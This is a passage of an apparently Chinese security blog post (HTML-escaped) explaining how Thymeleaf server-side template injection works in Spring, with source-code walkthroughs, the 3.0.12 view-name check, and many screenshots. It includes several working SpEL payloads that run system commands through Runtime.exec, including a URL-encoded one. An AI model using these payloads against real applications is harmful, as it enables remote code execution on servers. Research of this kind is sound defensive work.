\u7136\u540e\u89e3\u6790\u7684\u91cd\u70b9\u5c31\u5728final Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);\u8fd9\u91cc \u5f00\u59cb\u89e3\u6790templatename\u8fd9\u90e8\u5206\u3002\u8fd9\u4e00\u6b65\u8fd8\u53bb\u83b7\u5f97\u5e76\u4f20\u9012\u4e86VariableExpression<\/strong>(\u53d8\u91cf\u8868\u8fbe\u5f0f)\u7684\u9ed8\u8ba4\u89e3\u6790\u5668\uff0c\u8fd9\u91cc\u5c31\u80fd\u770b\u5230\u662f\u548cSpringEL\u76f8\u5173\u7684\u89e3\u6790\u5668\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n<\/div><\/figure>\n\n\n\n\u7136\u540e\u4e00\u76f4\u5d4c\u5957\u8c03\u7528XXXExpression\u7684execute<\/strong>\u65b9\u6cd5\uff0c<\/p>\n\n\n\n
\u5176\u4e2dSimpleExpression#executesimple<\/strong>\u8fd9\u4e2a\u65b9\u6cd5\u4f1a\u6839\u636etemplatename(\u8fd9\u91cc\u4e5f\u5c31\u662f\u5c01\u88c5\u597d\u7684expression)\u7684SELECTOR<\/strong>\u6765\u9009\u62e9\u7528\u54ea\u4e2a\u5177\u4f53\u7684expression\u53bb\u89e3\u6790\u3002SELECTOR\u5373\u6210Thymeleaf\u7684xxx\u8868\u8fbe\u5f0f\u7684\u8d77\u59cb\u7b26\u53f7\uff0c\u5982\u6211\u4eec\u8fd9\u91cc\u4f20\u5165\u7684\u53d8\u91cf\u8868\u8fbe\u5f0f\u4ee5’$’\u5f00\u5934\uff0c\u4f1a\u53bb\u8c03\u7528VariableExpression\u6765\u89e3\u6790\uff1b\u800cMessageExpression\u5373\u6d88\u606f\u8868\u8fbe\u5f0f\uff0c\u4ee5’#’\u5f00\u5934\u3002\u3002\u3002\u3002\u3002\u3002
<\/p>\n\n\n\n<\/p>\n\n\n\n\u540e\u9762\u4f1a\u5230\u4e0a\u9762\u63d0\u5230\u7684SPELVariableExpressionEvaluator\u7c7b\u7528evaluate\u65b9\u6cd5\u3002\u8fd9\u91cc\u7684SPELVariableExpressionEvaluator\u8fd8\u4e0d\u662fSpring\u7684\u539f\u751fSPEL\u76f8\u5173\u7684\u7c7b\u54e6\uff0c\u8fd8\u662f\u4e00\u4e2aThymeleaf\u5305\u4e0b\u7684\u51c6\u5907\u8c03\u7528\u539f\u751fSPEL\u76f8\u5173\u7684\u7c7b\u3002\u8fd9\u4e2a\u65b9\u6cd5\u4f1a\u628a\u6211\u4eec\u7684Expression\u5f7b\u5e95\u5c01\u88c5\u6210SpelExpression\uff0c\u7136\u540e\u5c31\u50cf\u5e73\u65f6\u7528SpringEL\u4e00\u6837\u53bb\u8c03\u7528getValue\u3002<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u540e\u9762\u8d70\u7684\u5c31\u662fSPEL\u7684\u539f\u751f\u65b9\u6cd5\u4e86\uff0c\u81f3\u6b64\uff0c\u6211\u4eec\u4f20\u5165\u7684templatename\u4f1a\u89e3\u6790\u6210\u529f\uff0c\u6210\u529f\u6ce8\u5165SPEL\u3002<\/p>\n\n\n\n
\u8fd9\u4e5f\u662f\u6211\u4eec\u51e0\u4e4e\u6240\u6709payload\u7684\u89e6\u53d1\u70b9\u4e86\uff0c\u56e0\u4e3a\u5b83\u4eec\u7684SPEL\u8868\u8fbe\u5f0f\u90fd\u662f\u5e26\u7740_ _\u5305\u88f9\u7684\uff0c\u90fd\u662f\u5728\u9884\u5904\u7406\u8fd9\u6b65\u4e2d\u53d6\u51fa\u5e76\u89e3\u6790\u3002<\/p>\n\n\n\n
\u800c\u4e3a\u4ec0\u4e48\u6709\u4e9b\u65f6\u5019\u4e0d\u9700\u8981\u7528_ _\u5305\u88f9\u5462\uff1f<\/p>\n\n\n\n
\u6bd4\u5982<\/p>\n\n\n\n
test::${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream()).next()}<\/code><\/code><\/pre>\n\n\n\n\u5c31\u884c\u3002\u56e0\u4e3a\u8fd9\u4f1a\u8fdb\u5165\u5230\u4e0b\u4e00\u4e2a\u89e6\u53d1\u70b9\u3002<\/p>\n\n\n\n
\n\n\n\ncreateExecutedFragmentExpression\u89e6\u53d1\u70b9<\/h3>\n\n\n\n
\u5f53\u6211\u4eec\u4f20\u5165\u4f8b\u5982
test::${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream()).next()}<\/code>\u7684payload\u65f6\uff0c\u7531\u4e8e\u6ca1\u6709\u643a\u5e26_ _\uff0c\u5bfc\u81f4\u9884\u5904\u7406\u8fd9\u6b65\u4e5f\u6ca1\u6709\u6b63\u5219\u5339\u914d\u5230\u76f8\u5173\u8868\u8fbe\u5f0f\u6ca1\u6709\u6267\u884c\uff0c\u6700\u540e\u4e5f\u5c31\u662f\u52a0\u4e0a\u9884\u5904\u7406\u8fd9\u6b65\u5730~{ }\u628a\u8fd9\u4e2a\u8868\u8fbe\u5f0f\u539f\u5c01\u4e0d\u52a8\u5730\u8fd4\u56de\uff1a<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u7136\u540e\u8fdb\u5230FragmentExpression.ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression);<\/strong><\/p>\n\n\n\n
\u8fd9\u91cc\u3002<\/p>\n\n\n\n
\u4ece\u6267\u884c\u540e\u5730\u53d8\u91cf\u7c7b\u540d\u4e5f\u53ef\u4ee5\u770b\u51fa\u6765\uff0c”\u6267\u884c\u8fc7\u7684\u7247\u6bb5\u8868\u8fbe\u5f0f”\uff0c\u8fd9\u4e2a\u53d8\u91cf\u5c31\u662f\u5c06\u7528\u6237\u4f20\u5165\u7684Thymeleaf\u7247\u6bb5\u8868\u8fbe\u5f0f\u4e2d\u7684\u53ef\u6267\u884c\u8bed\u6cd5\u6267\u884c\u5b8c\u540e\u7684\u7247\u6bb5\u8868\u8fbe\u5f0f\uff0c\u5e76\u4e14\u540e\u9762\u7684ThymeleafView\u6d41\u7a0b\u4e2d\u4e5f\u90fd\u662f\u7528\u7684\u8fd9\u4e2a\u53d8\u91cf\u3002<\/p>\n\n\n\n
\u8fd9\u4e2a\u65b9\u6cd5\u4f1a\u5c06\u7247\u6bb5\u8868\u8fbe\u5f0fSelector\u91cc\u7684\u53ef\u6267\u884c\u8bed\u6cd5\u6267\u884c\u5b8c\u3002<\/p>\n\n\n\n
\u56e0\u4e3aSelector\u5728\u9884\u5904\u7406\u4e2d\u672c\u8eab\u5c31\u88ab\u5c01\u88c5\u6210\u4e86VariableExpression\uff0c\u5728\u65b9\u6cd5\u4e2d\u4f1a\u76f4\u63a5\u8c03\u7528\u5176execute\u7136\u540e\u5c31\u662f\u76f8\u540c\u7684\u6d41\u7a0b\u4e86\u3002<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u6240\u4ee5\u663e\u800c\u6613\u89c1\uff0c\u8fd9\u89e3\u91ca\u4e86\u4e3a\u4ec0\u4e48payload\u5728selector\u90e8\u5206\u4e0d\u5e26_ _\u4f9d\u7136\u53ef\u4ee5\u89e6\u53d1\u3002<\/p>\n\n\n\n
\u8fd9\u4e24\u4e2a\u70b9\u4e5f\u7b97\u662fThymeleaf SSTI\u6240\u6709\u7684\u6f0f\u6d1e\u89e6\u53d1\u70b9\u4e86\uff0c\u5176\u5b9e\u6211\u4eec\u524d\u9762\u8fd8\u4ecb\u7ecd\u4e86\u4e00\u4e2aURL path\u7684\u5199\u6cd5\uff0c\u5176\u4e3b\u8981\u533a\u522b\u5c31\u662f\u5728\u83b7\u53d6\u5230templatename\u8fd9\u4e00\u6b65\u4e0d\u4e00\u6837\uff0c\u5176\u5b83\u4e00\u6478\u4e00\u6837\u3002<\/p>\n\n\n\n
URL path<\/strong><\/p>\n\n\n\n
\u8fd8\u8bb0\u5f97Overview\u8bf4\u7684\u5927\u6982\u6d41\u7a0b\u4e2d\u7684\u83b7\u53d6modelAndview\u4ee5\u53caapplyDefaultViewName()\u8fd9\u6b65\u5417\uff1f<\/p>\n\n\n\n
\u63d0\u5230\u8fc7\u662f\u901a\u8fc7\u83b7\u53d6Controller\u7684\u8fd4\u56de\u503c\u5c01\u88c5\u5230mv\u4e2d\u7684viewname\u4e2d\uff0c\u8fd9\u91cc\u6ca1\u6709\u8fd4\u56de\u503c\uff0c\u81ea\u7136viewname=null:<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u4f1a\u8fdb\u5165\u5230appDefaultViewName\u7684if\u8bed\u53e5\u4e2d\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u4f1a\u4ecerequest\u57df\u4e2d\u628a\u6211\u4eec\u7684\u8bf7\u6c42url\u8fd4\u56de\uff1a
<\/p>\n\n\n\n\u5f53\u7136\u8fd9\u91cc\u8fd8\u7528transformPath\u505a\u4e86\u4e2a\u5904\u7406\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u6211\u4eec\u4e3b\u8981\u770b\u7b2c\u4e09\u4e2aif\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u539f\u672c\u662f\u7528\u6765\u53bb\u6389\u6587\u4ef6\u540e\u7f00\u7684\uff0c\u5373\u5982\u679curl\u4e2d\u6709.\u5b58\u5728\u7684\u8bdd\uff0c\u5c06\u6700\u540e\u4e00\u4e2a.\u524d\u9762\u7684\u5b57\u7b26\u4e32\u63d0\u51fa\u6765\u3002\u6240\u4ee5\u8fd9\u4e5f\u662f\u6211\u4eec\u4e3a\u4ec0\u4e48\u8981\u5728URL\u578bpayload::\u540e\u9762\u52a0\u4e2a.\u7684\u539f\u56e0\uff0c\u56e0\u4e3a\u5982\u679c\u6309\u7ecf\u5178\u7684payload\u7684\u8bdd<\/p>\n\n\n\n
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream()).next()}__::<\/code><\/code><\/pre>\n\n\n\n\u6700\u540e\u4f1a\u53d8\u6210__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").getInputStream())}__<\/code><\/code><\/pre>\n\n\n\n\u6ca1\u6709\u4e86::\u540e\u9762\u4e5f\u4e0d\u4f1a\u8fdb\u5230::\u7684if\u8bed\u53e5\u4e2d\u53bb\u5bf9\u8868\u8fbe\u5f0f\u9884\u5904\u7406\u4e86\u3002<\/p>\n\n\n\n
applyDefaultViewName()\u5230\u6b64\u5c31\u7ed3\u675f\u4e86\uff0c\u540e\u9762\u7684\u6d41\u7a0b\u4e5f\u548c\u524d\u9762\u662f\u4e00\u6837\u7684\u3002<\/p>\n\n\n\n
\u8fd9\u91cc\u53ef\u80fd\u6709\u5e08\u5085\u53ef\u80fd\u4f1a\u597d\u5947\uff0c\u524d\u9762\u5728\u8c03\u7528HandlerAdapter\u8fd9\u6b65\u63d0\u8fc7\u4e00\u5634\uff0cRestController\u8fd4\u56deModelAndView\u7684\u65f6\u5019\u4e0d\u662fnull\u5417\uff0c\u540e\u9762\u80fd\u4e0d\u80fd\u8d70\u5230URL payload\u76f8\u540c\u7684\u6d41\u7a0b\u91cc\u9762\u53bb\u3002<\/p>\n\n\n\n
\u56e0\u4e3aapplyDefaultViewName\u8fd8\u8981\u53bb\u770b\u6709\u6ca1\u6709ModerAndView\u518d\u8bbe\u7f6eviewname\uff0c\u8fd9\u91ccnull\u5f53\u7136\u5c31\u662f\u4e0d\u53ef\u80fd\u7684\u3002<\/p>\n\n\n\n
\u8fd9\u4e9b\u5c31\u662fThymeleaf SSTI\u7684\u6f0f\u6d1e\u89e6\u53d1\u6e90\u7801\u6d41\u7a0b\u4e86\u3002<\/p>\n\n\n\n
\u56de\u663e\u539f\u7406<\/h2>\n\n\n\n
\u53c2\u8003\u4e86\u8fd9\u7bc7\u6587\u7ae0\uff1a<\/p>\n\n\n\n
\nhttps:\/\/exp10it.io\/2023\/02\/%E5%AF%B9-thymeleaf-ssti-%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%9D%E8%80%83\n<\/div><\/figure>\n\n\n\n\u5176\u5b9e\u5bf9\u4e8eThymeleaf SSTI\u6765\u8bf4\uff0c\u5176\u56de\u663e\u8fd8\u662f\u633a\u9e21\u808b\u7684\uff0c\u56e0\u4e3a\u662f\u4f9d\u9760\u629b\u5f02\u5e38\u5e26\u51fa\u7684\uff0c\u5e76\u4e14\u5bf9\u4e8e\u4e0d\u540c\u7684payload\u8fd8\u6709\u4e00\u5b9a\u7684\u5c40\u9650\u6027\u3002<\/p>\n\n\n\n
\u8fd9\u91cc\u4ecb\u7ecd\u4e00\u4e0bSpringboot\u7f51\u9875\u5bf9\u4e8e\u62a5\u9519\u7684\u5904\u7406\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u5e38\u89c1\u7684Whitelabel Error Page<\/strong>\uff1a<\/p>\n\n\n\n
\u5728\u4f4e\u7248\u672c\u7684 springboot (<= 2.2) \u4e2d, `server.error.include-message` \u7684\u9ed8\u8ba4\u503c\u4e3a `always`, \u8fd9\u4f7f\u5f97\u9ed8\u8ba4\u7684 500 \u9875\u9762\u4f1a\u663e\u793a\u5f02\u5e38\u4fe1\u606f
\u4f46\u662f\u5728\u9ad8\u7248\u672c\u7684 springboot (>= 2.3) \u4e2d, \u4e0a\u8ff0\u9009\u9879\u7684\u9ed8\u8ba4\u503c\u53d8\u6210\u4e86 `never`, \u90a3\u4e48 500 \u9875\u9762\u5c31\u4e0d\u4f1a\u663e\u793a\u4efb\u4f55\u5f02\u5e38\u4fe1\u606f<\/pre>\n\n\n\n\u8fd9\u4e5f\u662f\u4e3a\u4ec0\u4e48”\u9e21\u808b”\u7684\u5f88\u5927\u90e8\u5206\u539f\u56e0\uff0c\u6211\u4eec\u8981\u590d\u73b0\u8fd8\u5f97\u53bb\u6539\u4e00\u4e0b\u8fd9\u4e2a\u9ed8\u8ba4\u914d\u7f6e\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u8fd9\u91cc\u5148\u7529\u51fa\u5173\u4e8e\u56de\u663e\u7684\u4e00\u4e2a\u7ed3\u8bba\uff1a<\/p>\n\n\n\n
\u5728\u9884\u5904\u7406\u8fd9\u4e2a\u89e6\u53d1\u70b9\uff1a<\/p>\n\n\n\n
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream()).next()}__::<\/code><\/code><\/pre>\n\n\n\n\u662f\u4e0d\u4f1a\u5e26\u51fa\u89e3\u6790\u7ed3\u679c\u7684\uff0c\u53ea\u4f1a\u5e26\u51fa\u539f\u672c\u7684\u8868\u8fbe\u5f0f\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u800c\u5f53\u4f60\u5f80::\u540e\u52a0\u4efb\u610f\u4e1c\u897f\u540e\uff1a<\/p>\n\n\n\n
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream()).next()}__::1<\/code><\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u788d\u4e8epayload\u7684\u6709\u9650\u6027\u867d\u7136\u53ea\u89e3\u6790\u51fa\u6765\u4e86Windows(\u5176\u5b83\u56de\u663e\u6280\u672f\u53ef\u4ee5\u53bb\u5b66SPEL\u8868\u8fbe\u5f0f\u6ce8\u5165\u7684\u66f4\u591a\u56de\u663e\u59ff\u52bf)\uff0c\u4f46\u597d\u6b79\u662f\u628a\u89e3\u6790\u56de\u663e\u5230\u754c\u9762\u4e86\u3002<\/p>\n\n\n\n
\u8fd9\u662f\u56e0\u4e3a\u5728\u8fd9\u4e2a\u65b9\u6cd5\uff1a<\/p>\n\n\n\n
StandardExpressionParser#parseExpression():<\/p>\n\n\n\n
static IStandardExpression parseExpression(
final IExpressionContext context,
final String input, final boolean preprocess) {
\u200b
final IEngineConfiguration configuration = context.getConfiguration();
\u200b
final String preprocessedInput =
(preprocess? StandardExpressionPreprocessor.preprocess(context, input) : input);
\u200b
final IStandardExpression cachedExpression =
ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
if (cachedExpression != null) {
return cachedExpression;
}
\u200b
final Expression expression = Expression.parse(preprocessedInput.trim());
if (expression == null) {
throw new TemplateProcessingException(\"Could not parse as expression: \\\"\" + input + \"\\\"\");
}
ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression);
\u200b
return expression;
}<\/code><\/pre>\n\n\n\nfinal String preprocessedInput = (preprocess? StandardExpressionPreprocessor.preprocess(context, input) : input);\u8fd9\u91cc\u540e\u7eed\u89e3\u6790\u8868\u8fbe\u5f0f\u7684\u5165\u53e3\uff0c\u89e3\u6790\u5b8c\u4e86\u540e\u8fd8\u662f\u4f1a\u628a\u89e3\u6790\u540e\u7684\u8868\u8fbe\u5f0f\u8fd4\u56de\u7136\u540e\u8d70\u8fdbparse:<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u5982\u679c\u662f\u6ca1\u6709\u56de\u663e\u7684payload\u8fd9\u91ccexpression\u4e3anull\uff0c\u8fdb\u5165\u4e0b\u65b9if\u8bed\u53e5\uff0c\u629b\u51fa\u5f02\u5e38\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u53ef\u4ee5\u770b\u5230\uff0c\u8fd9\u4e2a\u5f02\u5e38\u662f\u628ainput\u5e26\u51fa\u7684\uff0c\u5373\u539f\u6765\u7684\u8868\u8fbe\u5f0f\u3002<\/p>\n\n\n\n
\u5982\u679c\u662f\u6709\u56de\u663e\u7684payload\uff0c\u4f1a\u6b63\u5e38\u8fd4\u56de\u89e3\u6790\u540e\u7684\u8868\u8fbe\u5f0f\uff1a<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u7136\u540e\u4e00\u8def\u8d70\u5230\u6700\u540e\u53bb\u8d44\u6e90\u6839\u636e::\u5de6\u8fb9\u7684\u5185\u5bb9\u5f53\u4f5c\u89c6\u56fe\u540d\u53bb\u641c\u7d22\u8d44\u6e90\u4e2d\u7684\u76f8\u5e94\u89c6\u56fe\uff0c\u5f53\u7136\u662f\u627e\u4e0d\u5230\u7684\uff0c\u6240\u4ee5\u629b\u51fa<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u5c06\u6211\u4eec\u7684template\u4e5f\u5c31\u662f\u89e3\u6790\u7ed3\u679c\u5e26\u51fa\u3002<\/p>\n\n\n\n
\u4e24\u4e2apayload\u629b\u5f02\u5e38\u7684\u533a\u522b\u662f\u5728\u4e8e<\/p>\n\n\n\n
final Expression expression = Expression.parse(preprocessedInput.trim());<\/pre>\n\n\n\n
\u4f1a\u8d70\u5230\u4e00\u4e2a\u8fd9\u6837\u7684\u65b9\u6cd5\uff1a<\/p>\n\n\n\n
FragmentExpression#parseFragmentExpressionContent<\/p>\n\n\n\n
<\/div><\/figure>\n\n\n\n\u5982\u679c::\u540e\u9762\u6ca1\u6709\u4e1c\u897f\uff0c\u8fd9\u91cc\u81ea\u7136\u4f1a\u8fd4\u56de\u4e00\u4e2anull\uff0c\u4e8e\u662f\u629b\u51fa\u5e26\u6709input\u7684\u5f02\u5e38\uff0c\u800c\u5982\u679c\u6709\u5219\u4f1a\u6700\u540e\u5f97\u5230\u4e00\u4e2aFragmentExpression\u5c31\u4e0d\u4f1a\u8fdb\u5165if\u8bed\u53e5\u629b\u51fa\u5f02\u5e38\uff0c\u4e00\u76f4\u8d70\u5230\u6700\u540e\u3002<\/p>\n\n\n\n
\u5347\u7ea7\u7248\u672c\u7ed5\u8fc7<\/h1>\n\n\n\n
3.0.12<\/h2>\n\n\n\n
\u9632\u5fa1\u70b91<\/h3>\n\n\n\n
defend<\/h4>\n\n\n\n
\u4ee5<\/p>\n\n\n\n
Controller
public class TestController {
@GetMapping(\"\/aaa\")
public String test(@RequestParam String payload) {
return payload;
}
}<\/code><\/pre>\n\n\n\n\u8fd9\u6837\u7684Controller\u4e3a\u4f8b\u4f20
test%3a%3a__%24%7bnew+java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d<\/code>__<\/p>\n\n\n\n\u5728\u9884\u5904\u7406\u4e4b\u524d\uff0c\u5373ThymeleafView#renderFragment\u65b9\u6cd5\u8fdb\u5165\u5230!viewTemplateName.contains(“::”)\u7684else\u8bed\u53e5\u5757\u4e2d\uff0c\u589e\u52a0\u4e86\u4e00\u4e2a
SpringRequestUtils.checkViewNameNotInRequest(viewTemplateName, request);<\/code>\u65b9\u6cd5\u3002<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u7ed3\u5408\u6ce8\u91ca\u53ef\u4ee5\u5927\u6982\u77e5\u9053\u8fd9\u4e2a\u65b9\u6cd5\u662f\u7528\u6765\u68c0\u6d4bviewTemplateName\u662f\u5426\u662f\u5305\u542b\u5728\u6211\u4eec\u7684\u8bf7\u6c42url\u4e2d\u7684\uff0c\u5982\u679c\u662f\u5219\u8bf4\u660e\u662f\u7528\u6237\u4f20\u53c2\u63a7\u5236\u4e86viewTemplateName\u3002\u6211\u4eec\u6765\u770b\u770b\u5b83\u662f\u5177\u4f53\u600e\u4e48\u68c0\u6d4b\u7684\uff1a<\/p>\n\n\n\n
public static void checkViewNameNotInRequest(final String viewName, final HttpServletRequest request) {
\u200b
final String vn = StringUtils.pack(viewName);
\u200b
final String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));
\u200b
boolean found = (requestURI != null && requestURI.contains(vn));
if (!found) {
final Enumeration<String> paramNames = request.getParameterNames();
String[] paramValues;
String paramValue;
while (!found && paramNames.hasMoreElements()) {
paramValues = request.getParameterValues(paramNames.nextElement());
for (int i = 0; !found && i < paramValues.length; i++) {
paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i]));
if (paramValue.contains(vn)) {
found = true;
}
}
}
}
\u200b
if (found) {
throw new TemplateProcessingException(
\"View name is an executable expression, and it is present in a literal manner in \" +
\"request path or parameters, which is forbidden for security reasons.\");
}
\u200b
}
\u200b<\/code><\/pre>\n\n\n\n\u5148\u53d6\u51faviewName\u4e2d\u7684\u7a7a\u683c\u8d4b\u503c\u5230vn\u4e2d\uff0c<\/p>\n\n\n\n
- ~{templatename}<\/strong>\uff0c\u5f15\u7528\u6574\u4e2a
- ~{templatename::selector}<\/strong>\uff0c\u4f1a\u5728
![\"image-20241005160516854\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241005160516854.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241015204005764\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241015204005764.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241006100004124\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241006100004124.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241006100620494\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241006100620494.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241006101034645\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241006101034645.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241006101301331\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241006101301331.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241006122826589\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241006122826589.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241006123303698\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241006123303698.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241015085909673\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241015085909673.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241014201327014\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241014201327014.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241014201353764\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241014201353764.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241014202514457\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241014202514457.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241019192641135\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241019192641135.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241014220214126\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241014220214126.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241015093107763\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241015093107763.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241015095047009\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241015095047009.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241015095322297\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241015095322297.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241015201553873\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241015201553873.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241019194100195\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241019194100195.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241019195224537\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241019195224537.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241019195313288\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241019195313288.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241019200434929\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241019200434929.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241019200756294\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241019200756294.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241019201057568\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241019201057568.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241019201222455\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241019201222455.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241019201527687\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241019201527687.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241016121611050\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241016121611050.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241016124027675\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241016124027675.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241016125323797\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241016125323797.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241016125607022\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241016125607022.png\")
<\/div><\/figure>\n\n\n\n![\"image-20241021034913323\"\/](\"https:\/\/byname.oss-cn-chengdu.aliyuncs.com\/img\/image-20241021034913323.png\")
<\/div><\/figure>\n\n\n\n